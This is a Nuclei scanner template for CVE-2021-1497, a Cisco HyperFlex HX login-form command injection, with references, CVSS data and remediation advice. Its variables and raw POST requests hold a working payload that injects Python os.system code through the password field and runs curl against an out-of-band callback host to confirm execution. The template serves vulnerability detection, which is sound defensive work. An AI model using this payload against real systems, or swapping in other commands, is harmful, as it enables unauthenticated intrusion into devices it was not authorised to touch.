64 lines
2.6 KiB
YAML
64 lines
2.6 KiB
YAML
id: CVE-2021-1497
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info:
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name: Cisco HyperFlex HX Data Platform - Remote Command Execution
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author: gy741
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severity: critical
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description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
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remediation: |
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Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
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reference:
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- https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-1497
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- https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
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- https://twitter.com/Unit42_Intel/status/1402655493735206915
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- https://twitter.com/ptswarm/status/1390300625129201664
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- https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
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- https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-1497
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cwe-id: CWE-78
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epss-score: 0.97512
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epss-percentile: 0.99982
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cpe: cpe:2.3:o:cisco:hyperflex_hx_data_platform:4.0\(2a\):*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: cisco
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product: hyperflex_hx_data_platform
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tags: cve,cve2021,cisco,rce,oast,kev,packetstorm
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variables:
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cmd: 'curl http://{{interactsh-url}} -H \"User-Agent: {{useragent}}\"'
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payload: '123",""$6$$)); import os;os.system("{{cmd}}");print(crypt.crypt("'
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useragent: '{{rand_base(6)}}'
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http:
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- raw:
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- |
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POST /auth/change HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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username=root&password={{url_encode(payload)}}
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- |
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POST /auth HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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username=root&password={{url_encode(payload)}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: {{useragent}}"
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# digest: 4a0a0047304502205bf03c53ef9c3e589285c61ece0c3f8d9ba380374319f9d6e77009202da15e95022100b2cc64f119929489719747070a86407765284ea6775591bd2dc826e977a54646:922c64590222798bb761d5b6d8e72950 |